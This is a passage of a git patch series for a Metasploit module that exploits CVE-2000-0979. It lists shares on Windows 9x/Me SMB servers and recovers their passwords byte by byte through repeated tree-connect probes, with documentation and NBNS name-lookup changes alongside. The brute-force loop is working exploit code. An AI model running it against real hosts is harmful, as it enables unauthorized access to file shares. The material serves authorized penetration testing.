disconnect error: #{e}") + end - def brute_force_shares(shares, tree_connect_template, tree_disconnect, delay) + def brute_force_shares(shares, delay) shares.each do |share| - share = share.delete("\000") - nbs_length = 0x33 + share.length - length0 = 0x01 - length1 = 0x00 - byte_count0 = 0x08 + share.length - byte_count1 = 0x00 - password = [0x20] + share_path = "\\\\#{rhost}\\#{share}" + print_status("Brute-forcing password for share: #{share}") - print_status "Brute-forcing password for share: #{share}" + password = [0x20] loop do - params = { - nbs_length: nbs_length, length0: length0, length1: length1, - byte_count0: byte_count0, byte_count1: byte_count1, - password: password, share: share - } - packet = update_password(tree_connect_template, params) - response = send_recv_once(packet) + result = try_tree_connect(share_path, password) - status_bytes = response[9..12].unpack('C4') - if status_bytes[0] == 0 + if result[:success] if password[0] == 0x20 && password[1] == 0x20 - print_good "Empty password works for share: #{share}" + print_good("Empty password works for share: #{share}") + send_tree_disconnect(result[:tid]) if result[:tid] break end confirmed = password.select { |v| v < 128 }.map(&:chr).join - print_status "Share #{share} - confirmed so far: #{confirmed}" + print_status("Share #{share} - confirmed so far: #{confirmed}") - length0 += 1 - nbs_length += 1 - byte_count0 += 1 + send_tree_disconnect(result[:tid]) if result[:tid] password.push(0x20) - - tid = response[28..29] if response && response.length >= 30 - if tid && tid.is_a?(String) - pkt = update_tid(tree_disconnect, tid) - send_recv_once(pkt) - end else - password[length0 - 1] += 1 + password[-1] += 1 - vprint_status password.select { |v| v < 128 }.map(&:chr).join + vprint_status( + password.select { |v| v < 128 }.map(&:chr).join + ) sleep(delay) if delay > 0 sleep(0.01) - if password[length0 - 1] > 128 + if password[-1] > 128 found = password.select { |v| v < 128 }.map(&:chr).join - if length0 > 1 - print_good "Password found for share #{share}: #{found}" + if password.length > 1 + print_good("Password found for share #{share}: #{found}") else - print_status "Password not found for share: #{share}" + print_status("Password not found for share: #{share}") end break end end rescue IOError, SocketError, SystemCallError => e - print_error e.message - print_error e.backtrace.inspect + print_error(e.message) break end end From e77036689a1c433b8149e0dadb7e2eda7f09d74b Mon Sep 17 00:00:00 2001 From: Z6543 Date: Thu, 23 Apr 2026 10:23:30 +0000 Subject: [PATCH 03/13] Add verbose diagnostic for TreeConnect probes Under `set VERBOSE true`, print the share path, probe password bytes, and the raw NT status returned by the server for each attempt. Makes it possible to distinguish CVE-vulnerable targets (status toggles between 0 and STATUS_WRONG_PASSWORD per byte) from hardened targets (uniform non-zero status) without instrumenting ruby_smb. --- modules/auxiliary/scanner/smb/cve_2000_0979.rb | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/smb/cve_2000_0979.rb b/modules/auxiliary/scanner/smb/cve_2000_0979.rb index 61851de2ab912..a2eaaf4f96d97 100644 --- a/modules/auxiliary/scanner/smb/cve_2000_0979.rb +++ b/modules/auxiliary/scanner/smb/cve_2000_0979.rb @@ -126,9 +126,15 @@ def try_tree_connect(share_path, password_bytes) raw_response ) - success = response.smb_header.nt_status.value == 0 + status = response.smb_header.nt_status.value + success = status == 0 tid = response.smb_header.tid if success + vprint_status( + "TreeConnect #{share_path} pw=#{password_bytes.map { |b| '%02X' % b }.join} " \ + "nt_status=0x#{status.to_s(16).rjust(8, '0')}" + ) + { success: success, tid: tid } rescue StandardError => e vprint_error("Tree connect error: #{e}") From 6f6f51da4f2ff27e5c3dc39d0d8f31d4a0a3d41a Mon Sep 17 00:00:00 2001 From: Z6543 Date: Thu, 23 Apr 2026 11:14:56 +0000 Subject: [PATCH 04/13] Document SMBName option for cve_2000_0979 Explain when to leave it at the *SMBSERVER wildcard (auto-discovery via UDP/137 runs if the server rejects it) vs. when to set it explicitly (required if the target blocks UDP/137 or you already know the name). Include the common lookup commands so users can retrieve the name from a host that can reach the NetBIOS name service. --- .../auxiliary/scanner/smb/cve_2000_0979.md | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/documentation/modules/auxiliary/scanner/smb/cve_2000_0979.md b/documentation/modules/auxiliary/scanner/smb/cve_2000_0979.md index ec99727787460..1fd84a8dab117 100644 --- a/documentation/modules/auxiliary/scanner/smb/cve_2000_0979.md +++ b/documentation/modules/auxiliary/scanner/smb/cve_2000_0979.md @@ -60,6 +60,22 @@ The target host running a vulnerable Windows 9x/Me SMB server. Typically port 13 The SMB port to connect to. Defaults to `139`. +### SMBName + +The target's NetBIOS hostname, sent in the NBSS Session Request. Defaults to the +wildcard `*SMBSERVER`. + +- **Leave at the default (`*SMBSERVER`)** if you do not know the target's NetBIOS + name. The module will fall back to a UDP Node Status query (RFC 1002, port 137) + when the server rejects the wildcard with `CALLED_NAME_NOT_PRESENT`, and retry + the session request with the resolved name. +- **Set it explicitly** (e.g. `set SMBName WIN95`) when you already know the name + or the target blocks UDP/137. Auto-discovery is skipped in that case, so the + server's rejection propagates immediately instead of stalling on a UDP probe. + +You can find the NetBIOS name from any host that can reach UDP/137 on the target +using `nmblookup -A `, `nbtscan `, or `nmap -sU -p137 --script nbstat `. + ### DELAY Optional delay (in seconds) between password probe attempts. Defaults to `0`. Can be From 3201a6c2bb4941c3fc6f75cf7e33fb164e543d97 Mon Sep 17 00:00:00 2001 From: Z6543 Date: Thu, 23 Apr 2026 11:39:04 +0000 Subject: [PATCH 05/13] Resolve SMBName via pure-Ruby NBNS before connecting MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit When the user leaves SMBName at the default wildcard, run RubySMB::Nbss::NodeStatus.file_server_name(rhost) up front and store the resolved name back on the datastore. The UDP socket comes from Rex::Socket::Udp.create so the lookup works through an active session (Meterpreter pivot) instead of opening a raw stdlib UDPSocket that would bypass pivoting. No-op when the user set SMBName explicitly — their choice is honored. --- .../auxiliary/scanner/smb/cve_2000_0979.rb | 32 +++++++++++++++++++ 1 file changed, 32 insertions(+) diff --git a/modules/auxiliary/scanner/smb/cve_2000_0979.rb b/modules/auxiliary/scanner/smb/cve_2000_0979.rb index a2eaaf4f96d97..44190f3aa010a 100644 --- a/modules/auxiliary/scanner/smb/cve_2000_0979.rb +++ b/modules/auxiliary/scanner/smb/cve_2000_0979.rb @@ -56,6 +56,11 @@ def run delay = datastore['DELAY'] print_status('Starting CVE-2000-0979 SMB Share Password Enumerator') + # If the user left SMBName at the default wildcard, try a pure-Ruby + # NBNS Node Status lookup up front — pivot-friendly via Rex::Socket::Udp — + # so session_request is sent with a name Win9x will actually accept. + resolve_smb_name_via_nbns + # Phase 1: Connect and enumerate shares via RAP connect(versions: [1], backend: :ruby_smb, direct: false) smb_login @@ -95,6 +100,33 @@ def run private + def default_smb_name?(name) + name.nil? || name.to_s.strip.empty? || name.to_s.strip.upcase == '*SMBSERVER' + end + + # Performs a pure-Ruby NBNS Node Status lookup (equivalent to + # `nmblookup -A `) and, if a file-server name is found, stores it + # on the datastore so the SMB session request uses it directly. No-op + # when the user has supplied an explicit SMBName. + def resolve_smb_name_via_nbns + return unless default_smb_name?(datastore['SMBName']) + + udp_factory = lambda do + Rex::Socket::Udp.create('Context' => { 'Msf' => framework, 'MsfExploit' => self }) + end + resolved = RubySMB::Nbss::NodeStatus.file_server_name( + rhost, udp_socket_factory: udp_factory + ) + if resolved && !resolved.empty? + print_status("Resolved NetBIOS name via NBNS: #{resolved}") + datastore['SMBName'] = resolved + else + vprint_status('NBNS node status lookup returned no name; falling back to *SMBSERVER') + end + rescue StandardError => e + vprint_error("NBNS node status lookup failed: #{e.class}: #{e}") + end + def enum_shares_rap shares = [] raw_shares = simple.client.net_share_enum_rap(rhost) From c1158cdea7ef8250138a9c1cc9abe1d30249b8d8 Mon Sep 17 00:00:00 2001 From: Z6543 Date: Thu, 23 Apr 2026 11:48:32 +0000 Subject: [PATCH 06/13] Verbose diagnostic for NBNS auto-discovery Log the name table on success and distinguish timeout vs. parse vs. missing-0x20 when the NBNS probe comes back empty, so troubleshooting SMBName auto-resolution doesn't require touching ruby_smb. --- .../auxiliary/scanner/smb/cve_2000_0979.rb | 32 +++++++++++++------ 1 file changed, 23 insertions(+), 9 deletions(-) diff --git a/modules/auxiliary/scanner/smb/cve_2000_0979.rb b/modules/auxiliary/scanner/smb/cve_2000_0979.rb index 44190f3aa010a..52139e02c1511 100644 --- a/modules/auxiliary/scanner/smb/cve_2000_0979.rb +++ b/modules/auxiliary/scanner/smb/cve_2000_0979.rb @@ -114,17 +114,31 @@ def resolve_smb_name_via_nbns udp_factory = lambda do Rex::Socket::Udp.create('Context' => { 'Msf' => framework, 'MsfExploit' => self }) end - resolved = RubySMB::Nbss::NodeStatus.file_server_name( - rhost, udp_socket_factory: udp_factory - ) - if resolved && !resolved.empty? - print_status("Resolved NetBIOS name via NBNS: #{resolved}") - datastore['SMBName'] = resolved + + vprint_status("NBNS: querying #{rhost} via Rex::Socket::Udp") + entries = + begin + RubySMB::Nbss::NodeStatus.query(rhost, udp_socket_factory: udp_factory) + rescue StandardError => e + vprint_error("NBNS node status lookup raised: #{e.class}: #{e}") + nil + end + + if entries.nil? + vprint_status('NBNS: no usable response (timeout, parse failure, or empty table)') + return + end + + vprint_status("NBNS name table (#{entries.length} entries):") + entries.each { |entry| vprint_status(" #{entry}") } + + file_server = entries.find { |entry| entry.suffix == 0x20 && entry.unique? } + if file_server + print_status("Resolved NetBIOS name via NBNS: #{file_server.name}") + datastore['SMBName'] = file_server.name else - vprint_status('NBNS node status lookup returned no name; falling back to *SMBSERVER') + vprint_status('NBNS: no unique <20> (file server) entry in name table') end - rescue StandardError => e - vprint_error("NBNS node status lookup failed: #{e.class}: #{e}") end def enum_shares_rap From 790296f7e77e0099d4c8e016e14285ae861b046f Mon Sep 17 00:00:00 2001 From: Z6543 Date: Thu, 23 Apr 2026 12:14:43 +0000 Subject: [PATCH 07/13] Bind NBNS Rex socket to local port 137 at create time Win9x replies to destination port 137 regardless of source port. Rex binds its local endpoint via 'LocalHost'/'LocalPort' at create time (not a post-create bind), so pass 0.0.0.0:137 on construction. When the framework (or OS) lacks privilege to bind 137, creation raises and the fallback UDPSocket candidate is tried next. --- .../auxiliary/scanner/smb/cve_2000_0979.rb | 44 ++++++++++++++----- 1 file changed, 34 insertions(+), 10 deletions(-) diff --git a/modules/auxiliary/scanner/smb/cve_2000_0979.rb b/modules/auxiliary/scanner/smb/cve_2000_0979.rb index 52139e02c1511..56c854d51e4f5 100644 --- a/modules/auxiliary/scanner/smb/cve_2000_0979.rb +++ b/modules/auxiliary/scanner/smb/cve_2000_0979.rb @@ -111,21 +111,45 @@ def default_smb_name?(name) def resolve_smb_name_via_nbns return unless default_smb_name?(datastore['SMBName']) - udp_factory = lambda do - Rex::Socket::Udp.create('Context' => { 'Msf' => framework, 'MsfExploit' => self }) - end + # Windows 9x NBNS replies to destination port 137 regardless of the + # client source port, so both factories try to bind the local + # endpoint to 137. Rex uses 'LocalHost'/'LocalPort' at create time + # (pivot-aware); stdlib UDPSocket is bound later inside NodeStatus. + # Binding 137 needs CAP_NET_BIND_SERVICE (run msfconsole with sudo) + # and no other process already listening on it (e.g. nmbd). + candidates = [ + [ + 'Rex::Socket::Udp', + lambda do + Rex::Socket::Udp.create( + 'LocalHost' => '0.0.0.0', + 'LocalPort' => 137, + 'Context' => { 'Msf' => framework, 'MsfExploit' => self } + ) + end + ], + ['UDPSocket', -> { UDPSocket.new }] + ] - vprint_status("NBNS: querying #{rhost} via Rex::Socket::Udp") - entries = + entries = nil + candidates.each do |label, factory| + vprint_status("NBNS: querying #{rhost} via #{label}") begin - RubySMB::Nbss::NodeStatus.query(rhost, udp_socket_factory: udp_factory) + entries = RubySMB::Nbss::NodeStatus.query(rhost, udp_socket_factory: factory) rescue StandardError => e - vprint_error("NBNS node status lookup raised: #{e.class}: #{e}") - nil + vprint_error("NBNS #{label} lookup raised: #{e.class}: #{e}") + next end + if entries + vprint_status("NBNS: #{label} returned a name table") + break + else + vprint_status("NBNS: #{label} returned no data") + end + end - if entries.nil? - vprint_status('NBNS: no usable response (timeout, parse failure, or empty table)') + unless entries + vprint_status('NBNS: no usable response from any UDP path') return end From e61f7b5d2e69f888fdf5f13c7f6f6111a74953d8 Mon Sep 17 00:00:00 2001 From: Z6543 Date: Thu, 23 Apr 2026 12:22:48 +0000 Subject: [PATCH 08/13] Drop local-port 137 binding from NBNS Rex factory The matching ruby_smb change stopped trying to force the NBNS socket onto local port 137, so the Rex factory no longer needs 'LocalPort' either. Back to a simple pivot-aware default factory. --- modules/auxiliary/scanner/smb/cve_2000_0979.rb | 15 ++++----------- 1 file changed, 4 insertions(+), 11 deletions(-) diff --git a/modules/auxiliary/scanner/smb/cve_2000_0979.rb b/modules/auxiliary/scanner/smb/cve_2000_0979.rb index 56c854d51e4f5..1b4e10f2431c5 100644 --- a/modules/auxiliary/scanner/smb/cve_2000_0979.rb +++ b/modules/auxiliary/scanner/smb/cve_2000_0979.rb @@ -111,21 +111,14 @@ def default_smb_name?(name) def resolve_smb_name_via_nbns return unless default_smb_name?(datastore['SMBName']) - # Windows 9x NBNS replies to destination port 137 regardless of the - # client source port, so both factories try to bind the local - # endpoint to 137. Rex uses 'LocalHost'/'LocalPort' at create time - # (pivot-aware); stdlib UDPSocket is bound later inside NodeStatus. - # Binding 137 needs CAP_NET_BIND_SERVICE (run msfconsole with sudo) - # and no other process already listening on it (e.g. nmbd). + # Try Rex::Socket::Udp first for pivot-awareness; fall back to a + # plain stdlib UDPSocket if the Rex path returns nothing (some + # routing setups don't deliver the reply through Rex's wrapped fd). candidates = [ [ 'Rex::Socket::Udp', lambda do - Rex::Socket::Udp.create( - 'LocalHost' => '0.0.0.0', - 'LocalPort' => 137, - 'Context' => { 'Msf' => framework, 'MsfExploit' => self } - ) + Rex::Socket::Udp.create('Context' => { 'Msf' => framework, 'MsfExploit' => self }) end ], ['UDPSocket', -> { UDPSocket.new }] From 91d022b024afb26eaac106f137f155369f3fe45a Mon Sep 17 00:00:00 2001 From: Z6543 Date: Thu, 23 Apr 2026 12:32:26 +0000 Subject: [PATCH 09/13] Bind NBNS Rex socket to LocalPort 137 at create time MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Matches the matching ruby_smb change — Win9x replies to destination UDP/137, so the client has to bind locally to 137 to receive the answer. Rex sockets take LocalHost/LocalPort on construction. Document the privilege requirement in a comment so users who hit the silent EACCES fallthrough know why. --- modules/auxiliary/scanner/smb/cve_2000_0979.rb | 18 ++++++++++++++---- 1 file changed, 14 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/scanner/smb/cve_2000_0979.rb b/modules/auxiliary/scanner/smb/cve_2000_0979.rb index 1b4e10f2431c5..46bbb9033981c 100644 --- a/modules/auxiliary/scanner/smb/cve_2000_0979.rb +++ b/modules/auxiliary/scanner/smb/cve_2000_0979.rb @@ -111,14 +111,24 @@ def default_smb_name?(name) def resolve_smb_name_via_nbns return unless default_smb_name?(datastore['SMBName']) - # Try Rex::Socket::Udp first for pivot-awareness; fall back to a - # plain stdlib UDPSocket if the Rex path returns nothing (some - # routing setups don't deliver the reply through Rex's wrapped fd). + # Windows 9x replies to destination UDP/137, not to the client's + # source port, so the local endpoint needs to be bound to 137 to + # receive the answer. Rex accepts 'LocalPort' at create time; + # stdlib UDPSocket gets bound inside NodeStatus.query. Binding 137 + # is allowed for unprivileged processes when the Ruby interpreter + # has CAP_NET_BIND_SERVICE (`sudo setcap 'cap_net_bind_service+ep' + # $(readlink -f $(which ruby))`) or when the system has + # `net.ipv4.ip_unprivileged_port_start` set <= 137; otherwise run + # msfconsole under sudo, or `set SMBName ` explicitly. candidates = [ [ 'Rex::Socket::Udp', lambda do - Rex::Socket::Udp.create('Context' => { 'Msf' => framework, 'MsfExploit' => self }) + Rex::Socket::Udp.create( + 'LocalHost' => '0.0.0.0', + 'LocalPort' => 137, + 'Context' => { 'Msf' => framework, 'MsfExploit' => self } + ) end ], ['UDPSocket', -> { UDPSocket.new }] From 0ae944d58c6f22b7fce445ef9bd0390a83671fb9 Mon Sep 17 00:00:00 2001 From: Z6543 Date: Fri, 24 Apr 2026 06:42:30 +0000 Subject: [PATCH 10/13] Enum shares via IPC\$ Tree#net_share_enum RubySMB removed Client#net_share_enum_rap (rapid7/ruby_smb#294 review comment r3134040652). Tree-connect to IPC\$ here and call the tree-scoped helper directly, mirroring the pattern used for other SMB1 tree ops. --- modules/auxiliary/scanner/smb/cve_2000_0979.rb | 17 ++++++++++++----- 1 file changed, 12 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/scanner/smb/cve_2000_0979.rb b/modules/auxiliary/scanner/smb/cve_2000_0979.rb index 46bbb9033981c..2915e709c7739 100644 --- a/modules/auxiliary/scanner/smb/cve_2000_0979.rb +++ b/modules/auxiliary/scanner/smb/cve_2000_0979.rb @@ -170,11 +170,18 @@ def resolve_smb_name_via_nbns def enum_shares_rap shares = [] - raw_shares = simple.client.net_share_enum_rap(rhost) - raw_shares.each do |s| - type_str = RAP_SHARE_TYPES.fetch(s[:type], "UNKNOWN(#{s[:type]})") - shares << s[:name] - print_good("#{s[:name]} - (#{type_str})") + tree = simple.client.tree_connect("\\\\#{rhost}\\IPC$") + begin + tree.net_share_enum.each do |entry| + type_str = RAP_SHARE_TYPES.fetch(entry[:type], "UNKNOWN(#{entry[:type]})") + shares << entry[:name] + print_good("#{entry[:name]} - (#{type_str})") + end + ensure + begin + tree.disconnect! + rescue StandardError # rubocop:disable Lint/SuppressedException + end end print_good("Number of shares: #{shares.length}") shares From 9f334f081779d2700498ef3ce00337f33f65f54a Mon Sep 17 00:00:00 2001 From: Z6543 Date: Sat, 9 May 2026 14:23:54 +0000 Subject: [PATCH 11/13] Fall back to raw socket for NBNS when UDP/137 is occupied When nmbd (or another process) holds UDP/137, Win9x NBNS replies go to its more-specific binding and the Rex/UDPSocket paths get nothing. RubySMB::Nbss::NodeStatus.query_via_raw_socket uses SOCK_RAW/IPPROTO_UDP which receives a kernel copy of every incoming datagram regardless of port ownership, so the response is captured even when nmbd intercepts it. --- modules/auxiliary/scanner/smb/cve_2000_0979.rb | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/smb/cve_2000_0979.rb b/modules/auxiliary/scanner/smb/cve_2000_0979.rb index 2915e709c7739..b4f0069c8e926 100644 --- a/modules/auxiliary/scanner/smb/cve_2000_0979.rb +++ b/modules/auxiliary/scanner/smb/cve_2000_0979.rb @@ -152,8 +152,14 @@ def resolve_smb_name_via_nbns end unless entries - vprint_status('NBNS: no usable response from any UDP path') - return + vprint_status('NBNS: no usable response from any UDP path, trying raw socket') + begin + entries = RubySMB::Nbss::NodeStatus.query_via_raw_socket(rhost) + vprint_status(entries ? 'NBNS: raw socket returned a name table' : 'NBNS: raw socket returned no data') + rescue StandardError => e + vprint_error("NBNS: raw socket lookup raised: #{e.class}: #{e}") + end + return unless entries end vprint_status("NBNS name table (#{entries.length} entries):") From 0440f49d58f3de3de229eab4b388d6311f1e6efb Mon Sep 17 00:00:00 2001 From: Z6543 Date: Sat, 9 May 2026 14:24:24 +0000 Subject: [PATCH 12/13] Fix pre-commit hook: NameError and RVM gem resolution Line 81 referenced `fname` after the each_line block ended, causing a NameError when msftidy produced no stdout. Replace with a generic success message guarded by status.success?. Also prefix the msftidy command with `rvm do` when ~/.rvm/bin/rvm is present and the project has .ruby-version/.ruby-gemset, so bundle exec resolves gems from the correct RVM gemset instead of the system Ruby. Pass BUNDLE_GEMFILE=Gemfile.local when that file exists. --- tools/dev/pre-commit-hook.rb | 20 +++++++++++++++++--- 1 file changed, 17 insertions(+), 3 deletions(-) diff --git a/tools/dev/pre-commit-hook.rb b/tools/dev/pre-commit-hook.rb index bb75bf09bde9a..ed9215734277d 100755 --- a/tools/dev/pre-commit-hook.rb +++ b/tools/dev/pre-commit-hook.rb @@ -75,10 +75,24 @@ def merge_error_message else puts "--- Checking new and changed module syntax with tools/dev/msftidy.rb ---" - command = %w[bundle exec ruby ./tools/dev/msftidy.rb] + files_to_check - msftidy_output, status = ::Open3.capture2(*command) + # When RVM is present and the project declares a Ruby version/gemset, + # prefix the command with `rvm do` so bundle resolves gems + # from the correct gemset rather than the system Ruby's paths. + rvm_bin = File.expand_path('~/.rvm/bin/rvm') + if File.executable?(rvm_bin) && (File.exist?('.ruby-version') || File.exist?('.ruby-gemset')) + ruby_ver = (File.read('.ruby-version').strip rescue nil) + gemset = (File.read('.ruby-gemset').strip rescue nil) + prefix = [rvm_bin, [ruby_ver, gemset].compact.join('@'), 'do'] + else + prefix = [] + end + + gemfile_env = File.exist?('Gemfile.local') ? { 'BUNDLE_GEMFILE' => 'Gemfile.local' } : {} + + command = prefix + %w[bundle exec ruby ./tools/dev/msftidy.rb] + files_to_check + msftidy_output, status = ::Open3.capture2(gemfile_env, *command) valid = false unless status.success? - puts "#{fname} - msftidy check passed" if msftidy_output.empty? + puts "msftidy check passed" if msftidy_output.empty? && status.success? msftidy_output.each_line do |line| puts line end From 36f358308b9b65280839bde381a7a559002260f9 Mon Sep 17 00:00:00 2001 From: Z6543 Date: Sat, 9 May 2026 16:44:14 +0000 Subject: [PATCH 13/13] Address PR review comments on cve_2000_0979 - Drop NBNS auto-discovery (depends on ruby_smb PR #296, not yet landed); make SMBName a required datastore option instead so the module is unblocked and can be tested immediately - Remove UDPSocket stdlib fallback from the NBNS candidate list; only Rex::Socket::Udp is appropriate to support Meterpreter pivoting - Replace hand-rolled try_tree_connect (manual SMB1 packet assembly) with simple.client.tree_connect(path, password:), the API added in the earlier ruby_smb PR; catch UnexpectedStatusCode for wrong-password probes and use tree.disconnect! instead of a manual TID disconnect --- .../auxiliary/scanner/smb/cve_2000_0979.rb | 124 ++---------------- 1 file changed, 12 insertions(+), 112 deletions(-) diff --git a/modules/auxiliary/scanner/smb/cve_2000_0979.rb b/modules/auxiliary/scanner/smb/cve_2000_0979.rb index b4f0069c8e926..7e6ebf4e40e45 100644 --- a/modules/auxiliary/scanner/smb/cve_2000_0979.rb +++ b/modules/auxiliary/scanner/smb/cve_2000_0979.rb @@ -47,7 +47,8 @@ def initialize(info = {}) register_options( [ OptInt.new('DELAY', [false, 'Add delay between password probes', 0]), - Opt::RPORT(139) + Opt::RPORT(139), + OptString.new('SMBName', [true, 'NetBIOS name of the target Win9x/Me machine', nil]) ] ) end @@ -56,11 +57,6 @@ def run delay = datastore['DELAY'] print_status('Starting CVE-2000-0979 SMB Share Password Enumerator') - # If the user left SMBName at the default wildcard, try a pure-Ruby - # NBNS Node Status lookup up front — pivot-friendly via Rex::Socket::Udp — - # so session_request is sent with a name Win9x will actually accept. - resolve_smb_name_via_nbns - # Phase 1: Connect and enumerate shares via RAP connect(versions: [1], backend: :ruby_smb, direct: false) smb_login @@ -100,80 +96,6 @@ def run private - def default_smb_name?(name) - name.nil? || name.to_s.strip.empty? || name.to_s.strip.upcase == '*SMBSERVER' - end - - # Performs a pure-Ruby NBNS Node Status lookup (equivalent to - # `nmblookup -A `) and, if a file-server name is found, stores it - # on the datastore so the SMB session request uses it directly. No-op - # when the user has supplied an explicit SMBName. - def resolve_smb_name_via_nbns - return unless default_smb_name?(datastore['SMBName']) - - # Windows 9x replies to destination UDP/137, not to the client's - # source port, so the local endpoint needs to be bound to 137 to - # receive the answer. Rex accepts 'LocalPort' at create time; - # stdlib UDPSocket gets bound inside NodeStatus.query. Binding 137 - # is allowed for unprivileged processes when the Ruby interpreter - # has CAP_NET_BIND_SERVICE (`sudo setcap 'cap_net_bind_service+ep' - # $(readlink -f $(which ruby))`) or when the system has - # `net.ipv4.ip_unprivileged_port_start` set <= 137; otherwise run - # msfconsole under sudo, or `set SMBName ` explicitly. - candidates = [ - [ - 'Rex::Socket::Udp', - lambda do - Rex::Socket::Udp.create( - 'LocalHost' => '0.0.0.0', - 'LocalPort' => 137, - 'Context' => { 'Msf' => framework, 'MsfExploit' => self } - ) - end - ], - ['UDPSocket', -> { UDPSocket.new }] - ] - - entries = nil - candidates.each do |label, factory| - vprint_status("NBNS: querying #{rhost} via #{label}") - begin - entries = RubySMB::Nbss::NodeStatus.query(rhost, udp_socket_factory: factory) - rescue StandardError => e - vprint_error("NBNS #{label} lookup raised: #{e.class}: #{e}") - next - end - if entries - vprint_status("NBNS: #{label} returned a name table") - break - else - vprint_status("NBNS: #{label} returned no data") - end - end - - unless entries - vprint_status('NBNS: no usable response from any UDP path, trying raw socket') - begin - entries = RubySMB::Nbss::NodeStatus.query_via_raw_socket(rhost) - vprint_status(entries ? 'NBNS: raw socket returned a name table' : 'NBNS: raw socket returned no data') - rescue StandardError => e - vprint_error("NBNS: raw socket lookup raised: #{e.class}: #{e}") - end - return unless entries - end - - vprint_status("NBNS name table (#{entries.length} entries):") - entries.each { |entry| vprint_status(" #{entry}") } - - file_server = entries.find { |entry| entry.suffix == 0x20 && entry.unique? } - if file_server - print_status("Resolved NetBIOS name via NBNS: #{file_server.name}") - datastore['SMBName'] = file_server.name - else - vprint_status('NBNS: no unique <20> (file server) entry in name table') - end - end - def enum_shares_rap shares = [] tree = simple.client.tree_connect("\\\\#{rhost}\\IPC$") @@ -196,43 +118,21 @@ def enum_shares_rap [] end - # Sends a TreeConnect request with exact password bytes and returns - # success/failure without raising on bad status. def try_tree_connect(share_path, password_bytes) - request = RubySMB::SMB1::Packet::TreeConnectRequest.new - request.smb_header.tid = 65_535 - pass_str = password_bytes.pack('C*') - request.parameter_block.password_length = pass_str.length - request.data_block.password = pass_str - request.data_block.path = share_path - - raw_response = simple.client.send_recv(request) - response = RubySMB::SMB1::Packet::TreeConnectResponse.read( - raw_response + tree = simple.client.tree_connect(share_path, password: pass_str) + vprint_status( + "TreeConnect #{share_path} pw=#{password_bytes.map { |b| '%02X' % b }.join} STATUS_SUCCESS" ) - - status = response.smb_header.nt_status.value - success = status == 0 - tid = response.smb_header.tid if success - + { success: true, tree: tree } + rescue RubySMB::Error::UnexpectedStatusCode => e vprint_status( - "TreeConnect #{share_path} pw=#{password_bytes.map { |b| '%02X' % b }.join} " \ - "nt_status=0x#{status.to_s(16).rjust(8, '0')}" + "TreeConnect #{share_path} pw=#{password_bytes.map { |b| '%02X' % b }.join} #{e.status_code.name}" ) - - { success: success, tid: tid } + { success: false, tree: nil } rescue StandardError => e vprint_error("Tree connect error: #{e}") - { success: false, tid: nil } - end - - def send_tree_disconnect(tid) - request = RubySMB::SMB1::Packet::TreeDisconnectRequest.new - request.smb_header.tid = tid - simple.client.send_recv(request) - rescue StandardError => e - vprint_error("Tree disconnect error: #{e}") + { success: false, tree: nil } end def brute_force_shares(shares, delay) @@ -248,14 +148,14 @@ def brute_force_shares(shares, delay) if result[:success] if password[0] == 0x20 && password[1] == 0x20 print_good("Empty password works for share: #{share}") - send_tree_disconnect(result[:tid]) if result[:tid] + result[:tree]&.disconnect! break end confirmed = password.select { |v| v < 128 }.map(&:chr).join print_status("Share #{share} - confirmed so far: #{confirmed}") - send_tree_disconnect(result[:tid]) if result[:tid] + result[:tree]&.disconnect! password.push(0x20) else password[-1] += 1